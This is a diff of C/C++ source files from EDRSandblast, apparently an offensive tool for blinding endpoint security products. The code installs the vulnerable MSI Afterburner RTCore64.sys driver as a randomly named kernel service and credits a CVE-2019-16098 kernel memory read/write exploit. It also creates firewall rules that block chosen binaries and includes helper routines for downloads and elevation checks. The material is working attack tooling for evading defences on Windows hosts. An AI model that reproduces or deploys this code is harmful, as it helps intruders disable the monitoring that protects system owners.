_tprintf(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
|
||||
_tprintf(TEXT("[+] \'%s\' service stopped\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
|
||||
_tprintf(TEXT("[*] \'%s\' service not running\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) {
|
||||
_tprintf(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName);
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
|
||||
SERVICE_STATUS status;
|
||||
BOOL deleted = FALSE;
|
||||
SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||
if (hSC) {
|
||||
SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE);
|
||||
if (hS) {
|
||||
if (QueryServiceStatus(hS, &status)) {
|
||||
if (!(status.dwCurrentState == SERVICE_STOPPED)) {
|
||||
CloseServiceHandle(hS);
|
||||
CloseServiceHandle(hSC);
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
else {
|
||||
deleted = DeleteService(hS);
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
if (!deleted) {
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
return deleted;
|
||||
}
|
||||
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "StringUtils.h"
|
||||
#include "WindowsServiceOps.h"
|
||||
/*
|
||||
|
||||
--- Vulnerable Micro-Star MSI Afterburner driver install / uninstall functions.
|
||||
--- The "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD) file must be present in the current directory if --driver is not specified.
|
||||
--- Vulnerable driver install / uninstall functions.
|
||||
|
||||
*/
|
||||
|
||||
static TCHAR* randString(TCHAR* str, size_t size) {
|
||||
srand((unsigned int) time(0));
|
||||
|
||||
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
|
||||
if (size) {
|
||||
for (size_t n = 0; n < size; n++) {
|
||||
int key = rand() % (int)(sizeof charset - 1);
|
||||
str[n] = charset[key];
|
||||
}
|
||||
str[size] = '\0';
|
||||
TCHAR* g_driverServiceName;
|
||||
|
||||
TCHAR* GetDriverServiceName(void) {
|
||||
if (!g_driverServiceName || _tcslen(g_driverServiceName) == 0) {
|
||||
g_driverServiceName = allocAndGenerateRandomString(SERVICE_NAME_LENGTH);
|
||||
}
|
||||
return str;
|
||||
return g_driverServiceName;
|
||||
}
|
||||
|
||||
|
||||
TCHAR* serviceName;
|
||||
|
||||
TCHAR* GetServiceName(void) {
|
||||
if (!serviceName || _tcslen(serviceName) == 0) {
|
||||
serviceName = calloc(SERVICE_NAME_LENGTH, sizeof(TCHAR));
|
||||
randString(serviceName, SERVICE_NAME_LENGTH);
|
||||
void SetDriverServiceName(_In_z_ TCHAR *newName) {
|
||||
if (g_driverServiceName) {
|
||||
free(g_driverServiceName);
|
||||
}
|
||||
return serviceName;
|
||||
}
|
||||
g_driverServiceName = _tcsdup(newName);
|
||||
|
||||
void SetServiceName(TCHAR *newName, size_t szNewName) {
|
||||
if (serviceName) {
|
||||
free(serviceName);
|
||||
}
|
||||
serviceName = (TCHAR*) calloc(szNewName, sizeof(TCHAR));
|
||||
|
||||
if (!serviceName) {
|
||||
_tprintf(TEXT("[!] Error while attempting to set the service name.\n"));
|
||||
if (!g_driverServiceName) {
|
||||
_putts_or_not(TEXT("[!] Error while attempting to set the service name."));
|
||||
return;
|
||||
}
|
||||
|
||||
_tcscpy_s(serviceName, szNewName, newName);
|
||||
}
|
||||
|
||||
BOOL InstallVulnerableDriver(TCHAR* driverPath) {
|
||||
TCHAR* svcName = GetServiceName();
|
||||
TCHAR* svcName = GetDriverServiceName();
|
||||
|
||||
DWORD status = ServiceInstall(svcName, svcName, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);
|
||||
|
||||
if (status == 0x00000005) {
|
||||
_tprintf(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?\n"));
|
||||
_putts_or_not(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?"));
|
||||
}
|
||||
|
||||
return status == 0x0;
|
||||
}
|
||||
|
||||
BOOL UninstallVulnerableDriver(void) {
|
||||
TCHAR* svcName = GetServiceName();
|
||||
TCHAR* svcName = GetDriverServiceName();
|
||||
|
||||
BOOL status = ServiceUninstall(svcName, 0);
|
||||
|
||||
@@ -242,4 +65,53 @@ BOOL UninstallVulnerableDriver(void) {
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName) {
|
||||
SC_HANDLE hSCM = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ENUMERATE_SERVICE | SC_MANAGER_CONNECT);
|
||||
BOOL isRunning = FALSE;
|
||||
if (hSCM) {
|
||||
DWORD cbBufSize, cbBytesNeeded;
|
||||
DWORD nbServices;
|
||||
BOOL bRes = EnumServicesStatusEx(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER, SERVICE_STATE_ALL, NULL, 0, &cbBytesNeeded, &nbServices, NULL, NULL);
|
||||
if (!bRes && GetLastError() == ERROR_MORE_DATA) {
|
||||
ENUM_SERVICE_STATUS_PROCESS* services = calloc(1, cbBytesNeeded);
|
||||
if (services){
|
||||
cbBufSize = cbBytesNeeded;
|
||||
bRes = EnumServicesStatusEx(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER, SERVICE_STATE_ALL, (LPBYTE)services, cbBufSize, &cbBytesNeeded, &nbServices, NULL, NULL);
|
||||
if (bRes) {
|
||||
for (DWORD i = 0; i < nbServices; i++) {
|
||||
SC_HANDLE hS = OpenService(hSCM, services[i].lpServiceName, SERVICE_QUERY_CONFIG);
|
||||
if (hS && _tcscmp(services[i].lpServiceName, GetDriverServiceName())) {
|
||||
bRes = QueryServiceConfig(hS, NULL, 0, &cbBytesNeeded);
|
||||
if (!bRes && GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
|
||||
QUERY_SERVICE_CONFIG* serviceConfig = calloc(1, cbBytesNeeded);
|
||||
if (serviceConfig) {
|
||||
cbBufSize = cbBytesNeeded;
|
||||
bRes = QueryServiceConfig(hS, serviceConfig, cbBufSize, &cbBytesNeeded);
|
||||
if (bRes) {
|
||||
if (!_tcscmp(PathFindFileName(serviceConfig->lpBinaryPathName), PathFindFileName(driverPath))) {
|
||||
isRunning = TRUE;
|
||||
if (serviceName) {
|
||||
*serviceName = _tcsdup(services[i].lpServiceName);
|
||||
}
|
||||
}
|
||||
}
|
||||
free(serviceConfig);
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
}
|
||||
}
|
||||
free(services);
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hSCM);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
|
||||
return FALSE;
|
||||
}
|
||||
return isRunning;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
#include <Windows.h>
|
||||
|
||||
/*
|
||||
* Dumps the full content of a single file into a newly allocated buffer
|
||||
*/
|
||||
PBYTE ReadFullFileW(LPCWSTR fileName) {
|
||||
HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
return NULL;
|
||||
}
|
||||
DWORD fileSize = GetFileSize(hFile, NULL);
|
||||
PBYTE fileContent = malloc(fileSize);
|
||||
DWORD bytesRead = 0;
|
||||
if (!ReadFile(hFile, fileContent, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
|
||||
free(fileContent);
|
||||
fileContent = NULL;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return fileContent;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Checks is a file extists (and is not a directory)
|
||||
*/
|
||||
BOOL FileExistsW(LPCWSTR szPath)
|
||||
{
|
||||
DWORD dwAttrib = GetFileAttributesW(szPath);
|
||||
|
||||
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
|
||||
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
|
||||
}
|
||||
BOOL FileExistsA(LPCSTR szPath)
|
||||
{
|
||||
DWORD dwAttrib = GetFileAttributesA(szPath);
|
||||
|
||||
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
|
||||
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
|
||||
}
|
||||
|
||||
/*
|
||||
* Dumps the content of a buffer into a new file
|
||||
*/
|
||||
BOOL WriteFullFileW(LPCWSTR fileName, PBYTE fileContent, SIZE_T fileSize) {
|
||||
HANDLE hFile = CreateFileW(fileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
return FALSE;
|
||||
}
|
||||
BOOL res = WriteFile(hFile, fileContent, (DWORD)fileSize, NULL, NULL);
|
||||
CloseHandle(hFile);
|
||||
return res;
|
||||
}
|
||||
@@ -6,6 +6,8 @@
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
|
||||
#include "FileVersion.h"
|
||||
|
||||
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
|
||||
@@ -19,7 +21,7 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
|
||||
LPTSTR verData = (LPTSTR)calloc(verSize, 1);
|
||||
|
||||
if (!verData) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve version data\n"));
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory to retrieve version data"));
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -31,7 +33,7 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
|
||||
DWORD majorVersion = (verInfo->dwFileVersionLS >> 16) & 0xffff;
|
||||
DWORD minorVersion = (verInfo->dwFileVersionLS >> 0) & 0xffff;
|
||||
_stprintf_s(buffer, bufferLen, TEXT("%ld-%ld"), majorVersion, minorVersion);
|
||||
// _tprintf(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion);
|
||||
// _tprintf_or_not(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -39,34 +41,3 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
|
||||
free(verData);
|
||||
}
|
||||
}
|
||||
|
||||
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute ntoskrnl.exe path.
|
||||
TCHAR ntoskrnlPath[MAX_PATH] = { 0 };
|
||||
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), systemDirectory);
|
||||
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), TEXT("\\ntoskrnl.exe"));
|
||||
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath);
|
||||
_stprintf_s(ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer);
|
||||
}
|
||||
|
||||
void GetWdigestVersion(TCHAR* wdigestVersion) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute ntoskrnl.exe path.
|
||||
TCHAR wdigestPath[MAX_PATH] = { 0 };
|
||||
_tcscat_s(wdigestPath, _countof(wdigestPath), systemDirectory);
|
||||
_tcscat_s(wdigestPath, _countof(wdigestPath), TEXT("\\wdigest.dll"));
|
||||
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
|
||||
|
||||
_stprintf_s(wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
|
||||
}
|
||||
@@ -0,0 +1,222 @@
|
||||
extern "C" {
|
||||
#include "../EDRSandblast.h"
|
||||
#include "FirewallOps.h"
|
||||
}
|
||||
|
||||
HRESULT ComInitNetFwPolicy2(INetFwPolicy2** ppNetFwPolicy2) {
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
hrStatus = CoInitializeEx(0, COINIT_APARTMENTTHREADED);
|
||||
|
||||
// Ignore RPC_E_CHANGED_MODE (Microsoft documentation stating that the existing mode does not matter).
|
||||
if (hrStatus != RPC_E_CHANGED_MODE && FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while initializing COM (CoInitializeEx failed: 0x%08lx)\n"), hrStatus);
|
||||
return hrStatus;
|
||||
}
|
||||
|
||||
hrStatus = CoCreateInstance(__uuidof(NetFwPolicy2), NULL, CLSCTX_INPROC_SERVER, __uuidof(INetFwPolicy2), (void**)ppNetFwPolicy2);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while initializing the INetFwPolicy2 interface (CoCreateInstance for INetFwPolicy2 failed: 0x%08lx)\n"), hrStatus);
|
||||
return hrStatus;
|
||||
}
|
||||
|
||||
return hrStatus;
|
||||
}
|
||||
|
||||
extern "C" HRESULT IsFirewallEnabled(BOOL* firewallIsOn);
|
||||
HRESULT IsFirewallEnabled(BOOL* firewallIsOn) {
|
||||
HRESULT hrComInit = E_FAIL;
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
INetFwPolicy2* pNetFwPolicy2 = NULL;
|
||||
long CurrentProfilesBitMask = 0;
|
||||
VARIANT_BOOL vbFirewallsEnabled = VARIANT_TRUE;
|
||||
VARIANT_BOOL vbFirewallProfileEnabled = VARIANT_FALSE;
|
||||
|
||||
struct ProfileMapElement {
|
||||
NET_FW_PROFILE_TYPE2 Id;
|
||||
LPCWSTR Name;
|
||||
};
|
||||
|
||||
ProfileMapElement ProfileMap[3];
|
||||
ProfileMap[0].Id = NET_FW_PROFILE2_DOMAIN;
|
||||
ProfileMap[0].Name = L"Domain";
|
||||
ProfileMap[1].Id = NET_FW_PROFILE2_PRIVATE;
|
||||
ProfileMap[1].Name = L"Private";
|
||||
ProfileMap[2].Id = NET_FW_PROFILE2_PUBLIC;
|
||||
ProfileMap[2].Name = L"Public";
|
||||
|
||||
hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2);
|
||||
if (FAILED(hrComInit)) {
|
||||
hrStatus = E_FAIL;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
hrStatus = pNetFwPolicy2->get_CurrentProfileTypes(&CurrentProfilesBitMask);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Could not determine Firewall status (failed to get the active Firewall profiles - get_CurrentProfileTypes failed: 0x%08lx)\n"), hrStatus);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
for (DWORD i = 0; i < 3; i++) {
|
||||
if (CurrentProfilesBitMask & ProfileMap[i].Id) {
|
||||
hrStatus = pNetFwPolicy2->get_FirewallEnabled(ProfileMap[i].Id, &vbFirewallProfileEnabled);
|
||||
if (FAILED(hrStatus)) {
|
||||
wprintf_or_not(L"[!] Could not determine Firewall status (failed to retrieve FirewallEnabled settings for %s profile - get_FirewallEnabled failed: 0x%08lx)\n", ProfileMap[i].Name, hrStatus);
|
||||
goto cleanup;
|
||||
}
|
||||
if (vbFirewallProfileEnabled == VARIANT_FALSE) {
|
||||
wprintf_or_not(L"[*] The Windows Firewall is off on the (active) '%s' profile.\n", ProfileMap[i].Name);
|
||||
vbFirewallsEnabled = VARIANT_FALSE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
*firewallIsOn = (BOOL)(vbFirewallsEnabled == VARIANT_TRUE);
|
||||
|
||||
cleanup:
|
||||
if (pNetFwPolicy2) {
|
||||
pNetFwPolicy2->Release();
|
||||
pNetFwPolicy2 = NULL;
|
||||
}
|
||||
|
||||
if (SUCCEEDED(hrComInit)) {
|
||||
CoUninitialize();
|
||||
}
|
||||
|
||||
return hrStatus;
|
||||
}
|
||||
|
||||
extern "C" HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName);
|
||||
HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName) {
|
||||
HRESULT hrComInit = E_FAIL;
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
INetFwPolicy2* pNetFwPolicy2 = NULL;
|
||||
INetFwRules* pFwRules = NULL;
|
||||
INetFwRule* pFwRule = NULL;
|
||||
|
||||
BSTR bstrRuleName = NULL;
|
||||
BSTR bstrRuleDescription = NULL;
|
||||
BSTR bstrRuleApplication = NULL;
|
||||
|
||||
hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2);
|
||||
if (FAILED(hrComInit)) {
|
||||
hrStatus = E_FAIL;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Rules parameters.
|
||||
generateRandomString(ruleName, FW_RULE_NAME_MAX_LENGTH);
|
||||
bstrRuleName = SysAllocString(ruleName);
|
||||
bstrRuleDescription = SysAllocString(ruleName);
|
||||
bstrRuleApplication = SysAllocString(binaryPath);
|
||||
|
||||
// hrStatus = pNetFwPolicy2->get_Rules(&pFwRules);
|
||||
hrStatus = pNetFwPolicy2->get_Rules(&pFwRules);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Could not retrieve current Firewall rules (pNetFwPolicy2->get_Rules failed: 0x%08lx).\n"), hrStatus);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Create a new Firewall Rule object.
|
||||
hrStatus = CoCreateInstance(__uuidof(NetFwRule), NULL, CLSCTX_INPROC_SERVER, __uuidof(INetFwRule), (void**)&pFwRule);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while attempting to initiate the INetFwRule (CoCreateInstance failed: 0x%08lx).\n"), hrStatus);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Populates the rule's parameters.
|
||||
pFwRule->put_Name(bstrRuleName);
|
||||
pFwRule->put_Description(bstrRuleDescription);
|
||||
pFwRule->put_ApplicationName(bstrRuleApplication);
|
||||
pFwRule->put_Protocol(NET_FW_IP_PROTOCOL_ANY);
|
||||
pFwRule->put_Direction(direction);
|
||||
pFwRule->put_Profiles(FW_PROFILE_TYPE_ALL);
|
||||
pFwRule->put_Action(NET_FW_ACTION_BLOCK);
|
||||
pFwRule->put_Enabled(VARIANT_TRUE);
|
||||
|
||||
// Add the new rule.
|
||||
hrStatus = pFwRules->Add(pFwRule);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while adding the firewall blocking rule for %s (INetFwRule->Add failed: 0x%08lx)\n"), binaryPath, hrStatus);
|
||||
}
|
||||
|
||||
cleanup:
|
||||
|
||||
if (pFwRule) {
|
||||
pFwRule->Release();
|
||||
}
|
||||
|
||||
if (pFwRules) {
|
||||
pFwRules->Release();
|
||||
}
|
||||
|
||||
if (pNetFwPolicy2) {
|
||||
pNetFwPolicy2->Release();
|
||||
}
|
||||
|
||||
if (bstrRuleName) {
|
||||
SysFreeString(bstrRuleName);
|
||||
bstrRuleName = NULL;
|
||||
}
|
||||
|
||||
if (bstrRuleDescription) {
|
||||
SysFreeString(bstrRuleDescription);
|
||||
bstrRuleDescription = NULL;
|
||||
|
||||
}
|
||||
|
||||
if (bstrRuleApplication) {
|
||||
SysFreeString(bstrRuleApplication);
|
||||
bstrRuleApplication = NULL;
|
||||
}
|
||||
|
||||
if (SUCCEEDED(hrComInit)) {
|
||||
CoUninitialize();
|
||||
}
|
||||
|
||||
return hrStatus;
|
||||
}
|
||||
|
||||
extern "C" HRESULT DeleteFirewallRule(TCHAR* ruleName);
|
||||
HRESULT DeleteFirewallRule(TCHAR* ruleName) {
|
||||
HRESULT hrComInit = E_FAIL;
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
INetFwPolicy2* pNetFwPolicy2 = NULL;
|
||||
INetFwRules* pFwRules = NULL;
|
||||
|
||||
hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2);
|
||||
if (FAILED(hrComInit)) {
|
||||
hrStatus = E_FAIL;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
hrStatus = pNetFwPolicy2->get_Rules(&pFwRules);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Could not retrieve current Firewall rules (pNetFwPolicy2->get_Rules: 0x%08lx).\n"), hrStatus);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
hrStatus = pFwRules->Remove(ruleName);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while removing Firewall rule \"%s\" (failed with: 0x%08lx)\n"), ruleName, hrStatus);
|
||||
_tprintf_or_not(TEXT("[!] The rule can be removed manually using: netsh advfirewall firewall delete rule name=%s\n"), ruleName);
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[+] Successfully removed Firewall rule \"%s\"\n"), ruleName);
|
||||
}
|
||||
|
||||
cleanup:
|
||||
|
||||
if (pFwRules) {
|
||||
pFwRules->Release();
|
||||
}
|
||||
|
||||
if (SUCCEEDED(hrComInit)) {
|
||||
pNetFwPolicy2->Release();
|
||||
}
|
||||
|
||||
return hrStatus;
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <windows.h>
|
||||
#include <windef.h>
|
||||
#include <winhttp.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "HttpClient.h"
|
||||
|
||||
|
||||
BOOL HttpsDownloadFullFile(LPCWSTR domain, LPCWSTR uri, PBYTE* output, SIZE_T* output_size) {
|
||||
wprintf_or_not(L"Downloading https://%s%s...\n", domain, uri);
|
||||
// Get proxy configuration
|
||||
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG proxyConfig;
|
||||
WinHttpGetIEProxyConfigForCurrentUser(&proxyConfig);
|
||||
BOOL proxySet = !(proxyConfig.fAutoDetect || proxyConfig.lpszAutoConfigUrl != NULL);
|
||||
DWORD proxyAccessType = proxySet ? ((proxyConfig.lpszProxy == NULL) ?
|
||||
WINHTTP_ACCESS_TYPE_NO_PROXY : WINHTTP_ACCESS_TYPE_NAMED_PROXY) : WINHTTP_ACCESS_TYPE_NO_PROXY;
|
||||
LPCWSTR proxyName = proxySet ? proxyConfig.lpszProxy : WINHTTP_NO_PROXY_NAME;
|
||||
LPCWSTR proxyBypass = proxySet ? proxyConfig.lpszProxyBypass : WINHTTP_NO_PROXY_BYPASS;
|
||||
|
||||
// Initialize HTTP session and request
|
||||
HINTERNET hSession = WinHttpOpen(L"WinHTTP/1.0", proxyAccessType, proxyName, proxyBypass, 0);
|
||||
if (hSession == NULL) {
|
||||
printf_or_not("WinHttpOpen failed with error : 0x%x\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
HINTERNET hConnect = WinHttpConnect(hSession, domain, INTERNET_DEFAULT_HTTPS_PORT, 0);
|
||||
if (!hConnect) {
|
||||
printf_or_not("WinHttpConnect failed with error : 0x%x\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", uri, NULL,
|
||||
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
|
||||
if (!hRequest) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Configure proxy manually
|
||||
if (!proxySet)
|
||||
{
|
||||
WINHTTP_AUTOPROXY_OPTIONS autoProxyOptions;
|
||||
autoProxyOptions.dwFlags = proxyConfig.lpszAutoConfigUrl != NULL ? WINHTTP_AUTOPROXY_CONFIG_URL : WINHTTP_AUTOPROXY_AUTO_DETECT;
|
||||
autoProxyOptions.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A;
|
||||
autoProxyOptions.fAutoLogonIfChallenged = TRUE;
|
||||
|
||||
if (proxyConfig.lpszAutoConfigUrl != NULL)
|
||||
autoProxyOptions.lpszAutoConfigUrl = proxyConfig.lpszAutoConfigUrl;
|
||||
|
||||
WCHAR szUrl[MAX_PATH] = { 0 };
|
||||
swprintf_s(szUrl, _countof(szUrl), L"https://%ws%ws", domain, uri);
|
||||
|
||||
WINHTTP_PROXY_INFO proxyInfo;
|
||||
WinHttpGetProxyForUrl(
|
||||
hSession,
|
||||
szUrl,
|
||||
&autoProxyOptions,
|
||||
&proxyInfo);
|
||||
|
||||
WinHttpSetOption(hRequest, WINHTTP_OPTION_PROXY, &proxyInfo, sizeof(proxyInfo));
|
||||
DWORD logonPolicy = WINHTTP_AUTOLOGON_SECURITY_LEVEL_LOW;
|
||||
WinHttpSetOption(hRequest, WINHTTP_OPTION_AUTOLOGON_POLICY, &logonPolicy, sizeof(logonPolicy));
|
||||
}
|
||||
|
||||
// Perform request
|
||||
BOOL bRequestSent;
|
||||
do {
|
||||
bRequestSent = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
|
||||
} while (!bRequestSent && GetLastError() == ERROR_WINHTTP_RESEND_REQUEST);
|
||||
if (!bRequestSent) {
|
||||
return FALSE;
|
||||
}
|
||||
BOOL bResponseReceived = WinHttpReceiveResponse(hRequest, NULL);
|
||||
if (!bResponseReceived) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Read response
|
||||
DWORD dwAvailableSize = 0;
|
||||
DWORD dwDownloadedSize = 0;
|
||||
SIZE_T allocatedSize = 4096;
|
||||
if (!WinHttpQueryDataAvailable(hRequest, &dwAvailableSize))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
*output = (PBYTE) malloc(allocatedSize);
|
||||
*output_size = 0;
|
||||
while (dwAvailableSize)
|
||||
{
|
||||
while (*output_size + dwAvailableSize > allocatedSize) {
|
||||
allocatedSize *= 2;
|
||||
PBYTE new_output = (PBYTE)realloc(*output, allocatedSize);
|
||||
if (new_output == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
*output = new_output;
|
||||
}
|
||||
if (!WinHttpReadData(hRequest, *output + *output_size, dwAvailableSize, &dwDownloadedSize))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
*output_size += dwDownloadedSize;
|
||||
|
||||
WinHttpQueryDataAvailable(hRequest, &dwAvailableSize);
|
||||
}
|
||||
PBYTE new_output = (PBYTE)realloc(*output, *output_size);
|
||||
if (new_output == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
*output = new_output;
|
||||
WinHttpCloseHandle(hRequest);
|
||||
WinHttpCloseHandle(hConnect);
|
||||
WinHttpCloseHandle(hSession);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,20 @@
|
||||
#include "IsElevatedProcess.h"
|
||||
|
||||
BOOL IsElevatedProcess() {
|
||||
BOOL fRet = FALSE;
|
||||
HANDLE hToken = NULL;
|
||||
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
|
||||
TOKEN_ELEVATION Elevation;
|
||||
DWORD cbSize = sizeof(TOKEN_ELEVATION);
|
||||
if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
|
||||
fRet = Elevation.TokenIsElevated;
|
||||
}
|
||||
}
|
||||
|
||||
if (hToken) {
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
return fRet;
|
||||
}
|
||||
@@ -1,178 +1,69 @@
|
||||
/*
|
||||
|
||||
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
|
||||
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
|
||||
|
||||
*/
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
#include <Psapi.h>
|
||||
#include <stdio.h>
|
||||
#include <assert.h>
|
||||
|
||||
#include "DriverRTCore.h"
|
||||
#include "DriverDBUtil.h"
